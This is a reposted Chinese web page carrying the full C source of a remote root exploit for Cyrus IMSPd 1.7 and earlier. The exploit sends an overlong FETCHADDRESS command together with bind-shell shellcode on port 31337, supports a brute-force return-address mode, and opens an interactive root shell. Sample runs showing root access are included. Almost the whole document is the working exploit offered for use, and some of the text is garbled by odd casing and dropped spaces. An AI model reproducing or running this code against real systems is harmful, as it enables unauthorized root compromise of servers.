| IMSPd v1.7 and below remote root buffer overflow exploit |
|
作者:佚名 责任编辑:左决 点击数: 更新时间:2008-2-16 6:52:04 |
 |
以下是引用片段: /* ** Cyrus IMSPD Remote Root ExploIT ** ------------------------------- ** ** Bug found by: Felix Lindner <felix.lindner@nruns.com> ** ExploIT coded by: SpikE <spike_vrm@mail.com> ** ** ExploITation techinique: ** ** As said by Felix Lindner, the bug lies in the "abook_dbname" function. To cause ** the overrun, we must call this function with a long "name" variable. IT can be ** acomplished by supplying the FETCHADDRESS command. This command takes 2 parameters. ** The first one is exactly the "name" var. So, to cause the overflow, we must just ** send the FETCHADDRESS command wITh an overlong argument. ** To cause the overflow is easy, but using it to execute arbITrary commands is not ** so easy. IT is because IMSPd filters all characters that is grather than 0x80. ** Well, put the shellcode is not the problem, cause IMSPd does not filter the args ** after the second one, so, the Shellcode goes in the third arg. The problem is that ** the address of the buffer where the shellcode is placed contains chars grather than ** 0x80 and we can not supply this addr. Well, how IT can be done??? After some time ** of research, I found that the address of the buffer where the "name" var is placed ** does not contains these characters (at least on my box). So, I manange my buffer ** to overwrite the EIP with this address. But there is another problem: I can not wrITe ** my shellcode here. Again, after some time, I got the solution. Looking at the stack ** after the overflow, I found the address of the buffer where the shellcode was placed. ** So, I coded a Jumpcode to get this addr from the stack, add some offset to the shellcode ** and jump there. There was a dificult task once the RET opcode is 0xc3 and I can not ** place the code in the buffer. To circumvent IT. I overflowned the EIP and the next ** four bytes wITh the same value. This way, when I get the control, I know where I am. ** With this abilITy, I can take this value, add some offset and make and ADD at this ** location to turn an 0x45 in an 0xc3, RET. ** Well, this is how I have acomplished this task. As you can see, there two possibilITies ** of success. You can be lucky and found a system that the address os shellcode does not ** have invalid chars or the name addr too. Anyone of this will do the task. ** ** Well, that is all. Sorry for my poor english (I am brazilian), I am tired to correct IT. ** I hope one can improve this code to be more reliable, but for now, IT is not so BAD. ** ** Screenshot: ** ** Hardcoded: ** ** SpikE@VermE imsp]$Content$nbsp;./a.out -t 0 -h localhost ** ** ==[ Cyrus IMSPd Remote Root ExploIT bY SpikE ]== ** ** *** Target plataform : IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche) ** *** Target host : localhost ** *** Target port : 406 ** *** Bind to port : 31337 ** *** Target RET : 0x08065368 ** ** [+] Connected ** [+] Creating evil buffer ** [+] Sending evil buffer ** [+] Verifying ... ** [+] Yeap.. IT is a root shell ** ** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ** cat /etc/issue ** Red Hat Linux release 8.0 (Psyche) ** Kernel r on an m ** ** exIT ** [SpikE@VermE imsp]$Content$nbsp; ** ** Bruteforce: ** ** [SpikE@VermE imsp]$Content$nbsp;./a.out -h localhost -b ** ** ==[ Cyrus IMSPd Remote Root ExploIT bY SpikE ]== ** ** *** Target host : localhost ** *** Target port : 406 ** *** Bind to port : 31337 ** *** Bruteforce mode start : 0x08065357 ** ** [+] Using RetAddr = 0x08065357 ** [+] Connected ** [+] Creating evil buffer ** [+] Sending evil buffer ** [+] Verifying ... ** ** [+] Using RetAddr = 0x0806535b ** [+] Connected ** [+] Creating evil buffer ** [+] Sending evil buffer ** [+] Verifying ... ** ** [+] Using RetAddr = 0x0806535f ** [+] Connected ** [+] Creating evil buffer ** [+] Sending evil buffer ** [+] Verifying ... ** ** [+] Using RetAddr = 0x08065363 ** [+] Connected ** [+] Creating evil buffer ** [+] Sending evil buffer ** [+] Verifying ... ** ** [+] Using RetAddr = 0x08065367 ** [+] Connected ** [+] Creating evil buffer ** [+] Sending evil buffer ** [+] Verifying ... ** ** [+] Using RetAddr = 0x0806536b ** [+] Connected ** ** [+] Creating evil buffer ** [+] Sending evil buffer ** [+] Verifying ... ** [+] Yeap.. IT is a root shell ** ** Linux VermE.com.br 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ** cat /etc/issue ** Red Hat Linux release 8.0 (Psyche) ** Kernel r on an m ** ** exIT ** [SpikE@VermE imsp]$Content$nbsp; ** ** */
#include <getopt.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <errno.h> #include <netinet/in.h> #include <stdio.h>
/*--< Prototypes >--*/ void Usage(char *); void fatal(char *); int ConectToHost(char *,int); char *CreateEvilBuffer(int,int); int VerifyXpl(char *, int); void doHack(int); int GetNextAddr(int);
/*--< Defines >--*/ #defineDEFAULT_PORT406 #define DEFAULT_START_ADDRESS0x8061001 #define BRUTEFORCE1 #define TARGET2 #define STDIN 0 #define STDOUT 1 #defineROOT_PORT31337 #define PORT_OFFSET29
/*--< From IMSP Source >--*/ char im_table[256] = { 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 7, 0, 7, 7, 6, 7, 7, 2, 2, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 0, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 2, 7, 7, 7, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; #define isqstr(c) (im_table[(unsigned char)(c)]&2) /*--< END >--*/
struct { char*Name; intRetaddr; }Targets[] = { "IMSPd 1.7 - Red Hat Linux release 8.0 (Psyche)", 0x8065368,
"IMSPd 1.6a3 - Red Hat Linux release 8.0 (Psyche)", 0x8061d78,
// Finish 0, 0 };
// Shellcode by Marco Ivaldi <raptor@0xdeadbeef.info> char Shellcode[] = "x31xc0x31xdbxb0x17xcdx80" "x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcdx80" "x89xc7x52x66x68" "BP" // Port to bind "x43x66x53x89xe1xb0x10x50x51x57x89xe1xb0x66xcdx80" "xb0x66xb3x04xcdx80" "x50x50x57x89xe1x43xb0x66xcdx80" "x89xd9x89xc3xb0x3fx49xcdx80" "x41xe2xf8x51x68n/shx68//bix89xe3x51x53x89xe1xb0x0bxcdx80";
// Jumpcode bY SpikE char JmpToShellcode[] = "x41"// nop like "x41"// nop like "x41"// nop like "x41"// nop like "x41"// nop like "x41"// nop like "x41"// nop like
"x58"// pop %eax "x6ax7e"// push $0x7e "x5b"// pop %ebx "x01x58x23"// add %ebx,0x22(%eax) "x58" "x58"// pop %eax "x58"// pop %eax "x58"// pop %eax "x58"// pop %eax "x58"// pop %eax "x58"// pop %eax "x58"// pop %eax "x58"// pop %eax "x6ax7e"// push $0x7e "x58"// pop %eax "x01x44x24x04"// add %eax,0x4(%esp,1) "x01x44x24x04"// add %eax,0x4(%esp,1) "x58"// pop %eax
"x45"// ret "x45"// ret "x45"// ret "x45"// ret "x45"// ret "x45"// ret "x45"// ret "x45";// ret
struct STACK { charname[132]; inteip; intID; intName; intAcl; };
int main(int argc, char **argv) { extern char*optarg; extern intoptind; charopt; char*Host = NULL; intPort = DEFAULT_PORT; intFlags = 0; intStartAddress = DEFAULT_START_ADDRESS; intTargetNumber = 0; intSock,rootSock,i; char*EvilBuffer; intBindPort = ROOT_PORT;
fprintf(stdout,"n==[ Cyrus IMSPd 1.7 Remote Root ExploIT bY SpikE ]==nn");
// Process arguments while ( (opt = getopt(argc,argv,"h:t:p:ba:r:")) != EOF) { swITch(opt) { case ’r’: BindPort = atoi(optarg); if(!BindPort) Usage(argv[0]); break; case ’h’: Host = optarg; break; case ’p’: Port = atoi(optarg); if(!Port) Usage(argv[0]); break; case ’b’: if(Flags == 0) Flags = BRUTEFORCE; else Usage(argv[0]); break; case ’a’: if( sscanf(optarg,"0x%lx",&StartAddress) != 1) Usage(argv[0]); break; case ’t’: TargetNumber = atoi(optarg); if(Flags == 0) Flags = TARGET; else Usage(argv[0]); break; default: Usage(argv[0]); break; } } if(Host == NULL || Flags == 0) Usage(argv[0]);
// Verify target for(i=0;;i++) if(Targets.Name == 0) break; if(--i<TargetNumber) Usage(argv[0]);
if(Flags == TARGET) fprintf(stdout,"*** Target plataform : %sn",Targets[TargetNumber].Name); fprintf(stdout,"*** Target host : %sn",Host); fprintf(stdout,"*** Target port : %un",Port); fprintf(stdout,"*** Bind to port : %un",BindPort);
if(Flags == TARGET) fprintf(stdout,"*** Target RET : %#010xnn",Targets[TargetNumber].Retaddr); else fprintf(stdout,"*** Bruteforce mode start : %#010xnn",StartAddress);
swITch(Flags) { case TARGET: Sock = ConectToHost(Host,Port); if(Sock == -1) fatal("Could not connect"); else fprintf(stdout,"[+] Connectedn");
fprintf(stdout,"[+] Creating evil buffern"); EvilBuffer = CreateEvilBuffer(Targets[TargetNumber].Retaddr,BindPort);
fprintf(stdout,"[+] Sending evil buffern");
scanf("%d",&i);
send(Sock,EvilBuffer,strlen(EvilBuffer),0); sleep(1);
fprintf(stdout,"[+] Verifying ...n"); sleep(1); if( (rootSock = VerifyXpl(Host,BindPort)) >=0) { close(Sock); free(EvilBuffer); fprintf(stdout,"[+] Yeap.. IT is a root shellnn"); doHack(rootSock); close(rootSock); exIT(0); } else fatal("No root shell. Maybe next time"); break; default: for(;;) { fprintf(stdout,"[+] Using RetAddr = %#010xn",StartAddress);
Sock = ConectToHost(Host,Port); if(Sock == -1) { // To avoid stop the bruteforce fprintf(stdout,"[+] Could not connect. WaITing...nn"); sleep(120); } else { fprintf(stdout,"[+] Connectedn");
fprintf(stdout,"[+] Creating evil buffern"); EvilBuffer = CreateEvilBuffer(StartAddress,BindPort);
fprintf(stdout,"[+] Sending evil buffern"); send(Sock,EvilBuffer,strlen(EvilBuffer),0); sleep(1);
fprintf(stdout,"[+] Verifying ...n"); sleep(1); if( (rootSock = VerifyXpl(Host,BindPort)) >=0) { close(Sock); free(EvilBuffer); fprintf(stdout,"[+] Yeap.. IT is a root shellnn"); doHack(rootSock); close(rootSock); exIT(0); } close(Sock); free(EvilBuffer); fprintf(stdout,"n");
StartAddress = GetNextAddr(StartAddress); } } break; }
free(EvilBuffer); close(Sock); }
void Usage(char *Prog) { int i; fprintf(stderr,"Usage: %s -h hostname <options>nn" "Options:nn" " -t target : Select the targetn" " -p portnumber : Sets a new port numbern" " -b : Bruteforce moden" " -a address : Defines the start address to bruteforce (Format: 0xdeadbeef)n" " -r port : Defines the port to bind (Default = 31337)nn" "Targets:nn",Prog);
for(i=0;;i++) { if(Targets.Name != 0) fprintf(stderr," [%u] %sn",i,Targets.Name); else break; } fprintf(stderr,"n"); exIT(1); }
void fatal(char *ErrorMsg) { fprintf(stderr,"[-] %snn",ErrorMsg); exIT(1); }
int ConectToHost(char *Host,int Port) { struct sockaddr_in server; struct hostent *hp; int s;
server.sin_family = AF_INET; hp = gethostbyname(Host); if(!hp) return(-1);
memcpy(&server.sin_addr,hp->h_addr,hp->h_length); server.sin_port = htons(Port);
s = socket(PF_INET,SOCK_STREAM,0); if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0) return(-1);
return(s); }
char *CreateEvilBuffer(int Retaddr,int BindPort) { struct STACKBuffer; char*Ptr = (char *)&Buffer; charNOPs[2000]; static charBuf[sizeof(Buffer)+sizeof(NOPs)+sizeof(Shellcode)+100]; uint16_t*PortPtr = (uint16_t *)(Shellcode+PORT_OFFSET); int i;
memset(&Buffer,0x41,sizeof(Buffer)); memset(NOPs,0x90,sizeof(NOPs));
*PortPtr = htons(BindPort);
memcpy(Ptr,JmpToShellcode,sizeof(JmpToShellcode)-1); Buffer.eip = Retaddr; Buffer.ID = Retaddr; Buffer.Name = 0x00;
NOPs[sizeof(NOPs)-1] = 0;
sprintf(Buf,"SPK FETCHADDRESS "%s" "SPK" %s%srn",(char *)&Buffer,NOPs,Shellcode); return(Buf); }
void doHack(int Sock) { char buffer[1024 * 10]; int count; fd_set readfs;
wrITe(Sock,"uname -a;idn",12); while(1) { FD_ZERO(&readfs); FD_SET(STDIN, &readfs); FD_SET(Sock, &readfs); if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0) { if(FD_ISSET(STDIN, &readfs)) { if((count = read(STDIN, buffer, 1024)) <= 0) { if(errno == EWOULDBLOCK || errno == EAGAIN) continue; else { close(Sock); exIT(-1); } } wrITe(Sock, buffer, count); } if(FD_ISSET(Sock, &readfs)) { if((count = read(Sock, buffer, 1024)) <= 0) { if(errno == EWOULDBLOCK || errno == EAGAIN) continue; else { close(Sock); exIT(-1); } } wrITe(STDOUT, buffer, count); } } } } int VerifyXpl(char *Host, int Port) { struct sockaddr_in server; struct hostent *hp; int s;
// Create client struct server.sin_family = AF_INET; hp = gethostbyname(Host); if(!hp) return(-1); memcpy(&server.sin_addr,hp->h_addr,hp->h_length); server.sin_port = htons(Port); s = socket(PF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0) return(-1); return(s); }
int GetNextAddr(int Addr) { Addr+=4; for(;;) { if( !isqstr( (Addr & 0x000000FF) ) ) Addr+=4; else if( !isqstr( (Addr & 0x0000FF00) >> 8 ) ) Addr+=4; else if( !isqstr( (Addr & 0x00FF0000) >> 16 ) ) Addr+=4; else if( !isqstr( (Addr & 0xFF000000) >> 24 ) ) Addr+=4; else break; }
return(Addr); }
| |
|